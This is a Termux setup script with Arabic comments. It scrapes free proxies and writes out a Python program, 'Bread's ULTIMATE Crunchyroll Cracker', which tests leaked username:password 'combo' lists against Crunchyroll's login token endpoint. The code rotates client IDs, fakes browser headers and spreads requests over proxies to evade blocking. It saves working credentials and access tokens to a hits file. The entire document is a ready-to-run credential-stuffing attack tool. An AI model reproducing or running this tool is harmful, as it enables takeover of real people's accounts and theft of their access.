عاعلتاعل6ف6ف6
# 1. تحديث الحزم وتثبيت الأدوات الأساسية
pkg update -y && pkg upgrade -y
pkg install python git openssl libffi rust -y
# 2. تثبيت مكتبات Python
pip install aiohttp beautifulsoup4 colorama lxml
# 3. منح صلاحية الوصول للتخزين (لنسخ الكومبو)
termux-setup-storage
# 4. نسخ ملف الكومبو من مجلد التحميلات
cp /sdcard/Download/combomix.txt ~/
# 5. جلب البروكسيات من جميع المصادر العملاقة (دمج 4 مصادر في ملف واحد)
echo "[*] جلب البروكسيات من Proxifly, ProxRipper, Thordata, proxy-free..."
curl -s
https://cdn.jsdelivr.net/gh/proxifly/fre...p/data.txt -o p1.txt
curl -s
https://raw.githubusercontent.com/mohamm.../https.txt -o p2.txt
curl -s
https://raw.githubusercontent.com/Thorda...p-http.txt -o p3.txt
curl -s
https://raw.githubusercontent.com/proxy-.../https.txt -o p4.txt
echo "[*] دمج وفلترة البروكسيات..."
cat p1.txt p2.txt p3.txt p4.txt | sort -u | grep -E '^[0-9]+\.[0-9]+\.[0-9]+\.[0-9]+:[0-9]+$' > proxies.txt
rm -f p1.txt p2.txt p3.txt p4.txt
echo "[✓] تم جمع $(wc -l < proxies.txt) بروكسي فريد ونظيف."
# 6. إنشاء الكود النهائي (الإصدار الأسطوري المتكامل)
cat > cracker.py << 'EOF'
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
🍞 Bread's ULTIMATE Crunchyroll Cracker v9.0 🍞
- Multi Client-ID rotation
- Uses fresh scraped proxies
- Browser-like headers
"""
import asyncio
import aiohttp
import json
import sys
import time
import random
import os
import signal
from typing import List, Tuple, Dict
from urllib.parse import quote
from collections import OrderedDict
from datetime import datetime
try:
from colorama import Fore, Style, init
init(autoreset=True)
except ImportError:
class Fore:
RED = '\033[91m'; GREEN = '\033[92m'; YELLOW = '\033[93m'
BLUE = '\033[94m'; MAGENTA = '\033[95m'; CYAN = '\033[96m'
WHITE = '\033[97m'; RESET = '\033[0m'
class Style:
BRIGHT = '\033[1m'; DIM = '\033[2m'; NORMAL = '\033[22m'
CR_CLIENT_IDS = [
"lrses_25zh3kjta6r9r9",
"noaih_1kq3t9p1i7t5r5",
]
CURRENT_CLIENT = 0
CR_AUTH_URL = "https://www.crunchyroll.com/auth/v1/token"
USER_AGENTS = [
"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36",
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36",
"Mozilla/5.0 (iPhone; CPU iPhone OS 17_5 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.5 Mobile/15E148 Safari/604.1",
]
DEFAULT_CONCURRENCY = 15
MAX_CONCURRENCY = 40
REQUEST_TIMEOUT = 15
def load_combos(file_path: str) -> List[Tuple[str, str]]:
combos = []
seen = set()
if not os.path.exists(file_path):
print(Fore.RED + f"[!] Combo not found: {file_path}")
return []
try:
with open(file_path, 'r', encoding='utf-8', errors='ignore') as f:
for line in f:
line = line.strip()
if not line or line.startswith('#'): continue
for sep in [':', '|', ',', '\t', ' ']:
if sep in line:
parts = line.split(sep, 1)
if len(parts) == 2:
u, p = parts[0].strip(), parts[1].strip()
if u and p and (u, p) not in seen:
combos.append((u, p)); seen.add((u, p))
break
except Exception as e:
print(Fore.RED + f"[!] Error: {e}")
return []
return combos
def load_proxies(file_path: str) -> List[str]:
proxies = []
if not os.path.exists(file_path): return []
try:
with open(file_path, 'r', encoding='utf-8', errors='ignore') as f:
for line in f:
line = line.strip()
if line and not line.startswith('#'):
if not line.startswith(('http://', 'https://')):
proxies.append(f"http://{line}")
else:
proxies.append(line)
except: pass
return list(OrderedDict.fromkeys(proxies))
async def test_login(session, username, password, proxy, client_id):
payload = {"grant_type": "password", "username": username, "password": password, "client_id": client_id, "client_secret": ""}
headers = {
"User-Agent": random.choice(USER_AGENTS),
"Content-Type": "application/x-www-form-urlencoded",
"Accept": "application/json",
"Accept-Language": "en-US,en;q=0.9",
"Origin": "https://www.crunchyroll.com",
"Referer": "https://www.crunchyroll.com/",
}
data = "&".join([f"{k}={quote(str(v))}" for k, v in payload.items()])
try:
async with session.post(CR_AUTH_URL, headers=headers, data=data, proxy=proxy, timeout=REQUEST_TIMEOUT) as resp:
text = await resp.text()
if resp.status == 200:
j = json.loads(text)
if "access_token" in j: return {"status": "success", "token": j["access_token"]}
return {"status": "invalid"}
elif resp.status == 401: return {"status": "bad_client"}
elif resp.status == 403: return {"status": "blocked"}
elif resp.status == 429: return {"status": "rate_limited"}
else: return {"status": "error", "code": resp.status}
except: return {"status": "error", "reason": "Timeout/Dead"}
async def run_attack(combos, proxies, concurrency):
global CURRENT_CLIENT
if not combos: return
if not proxies: proxies = [None]
total, done, hits, fails, errs, blocked, rate_limited = len(combos), 0, 0, 0, 0, 0, 0
start = time.time()
print(Fore.CYAN + f"[*] Attacking {total} accounts with {len(proxies)} proxies.")
with open("hits.txt", "a", encoding="utf-8") as f:
f.write(f"\n--- {datetime.now().strftime('%Y-%m-%d %H:%M:%S')} ---\n")
connector = aiohttp.TCPConnector(limit=concurrency, ssl=False)
async with aiohttp.ClientSession(connector=connector) as session:
sem = asyncio.Semaphore(concurrency)
async def worker(u, p, pr):
async with sem:
client = CR_CLIENT_IDS[CURRENT_CLIENT]
res = await test_login(session, u, p, pr, client)
return {"username": u, "password": p, **res}
tasks = [worker(u, p, random.choice(proxies) if proxies[0] else None) for u, p in combos]
for fut in asyncio.as_completed(tasks):
res = await fut; done += 1
if res["status"] == "bad_client":
if CURRENT_CLIENT < len(CR_CLIENT_IDS)-1:
CURRENT_CLIENT += 1
print(Fore.YELLOW + f"[!] Rotating client to: {CR_CLIENT_IDS[CURRENT_CLIENT]}")
elif res["status"] == "success":
hits += 1
print(Fore.GREEN + f"[✓] HIT: {res['username']}:{res['password']}")
with open("hits.txt", "a", encoding="utf-8") as f:
f.write(f"{res['username']}:{res['password']} | Token: {res.get('token', '')}\n")
elif res["status"] == "invalid": fails += 1
elif res["status"] == "blocked": blocked += 1
elif res["status"] == "rate_limited":
rate_limited += 1
await asyncio.sleep(2)
else: errs += 1
if done % 20 == 0 or done == total:
elapsed = time.time() - start
avg = elapsed / done if done else 0
print(Fore.CYAN + f"[*] {done}/{total} ({done/total*100:.1f}%) | Hits: {hits} | Fail: {fails} | Err: {errs} | Block: {blocked} | Avg: {avg:.2f}s")
print("\n" + "="*50 + "\n[✓] FINISHED")
print(f"Hits: {hits} | Fails: {fails} | Errors: {errs} | Blocked: {blocked}")
def main():
signal.signal(signal.SIGINT, lambda s, f: (print("\n[!] Stopped."), sys.exit(0)))
print(Fore.CYAN + Style.BRIGHT + "\n🍞 Bread's ULTIMATE Cracker v9.0")
combo = input("📂 Combo file: ").strip()
if not os.path.exists(combo): print("[!] Not found."); return
combos = load_combos(combo)
if not combos: return
print(f"[✓] Loaded {len(combos)} combos.")
choice = input("📂 Use existing proxies? (y/n, default n = fresh scrape): ").strip().lower()
proxies = []
if choice == 'y':
pf = input("📂 Proxy file path: ").strip()
if os.path.exists(pf):
raw = load_proxies(pf)
if raw: proxies = raw
if not proxies:
print(Fore.YELLOW + "[!] No proxies loaded. Running WITHOUT proxy (will be slow).")
proxies = [None]
try:
con = int(input(f"⚡ Concurrency (default {DEFAULT_CONCURRENCY}): ").strip() or DEFAULT_CONCURRENCY)
con = min(con, MAX_CONCURRENCY)
except: con = DEFAULT_CONCURRENCY
asyncio.run(run_attack(combos, proxies, con))
if __name__ == "__main__":
main()
EOF
# 7. منح صلاحية التنفيذ
chmod +x cracker.py
# 8. عرض عدد البروكسيات وتشغيل الأداة
echo "[✓] تم الإعداد بنجاح! عدد البروكسيات: $(wc -l < proxies.txt)"
echo "🚀 الآن قم بتشغيل الأداة باستخدام: python cracker.py"
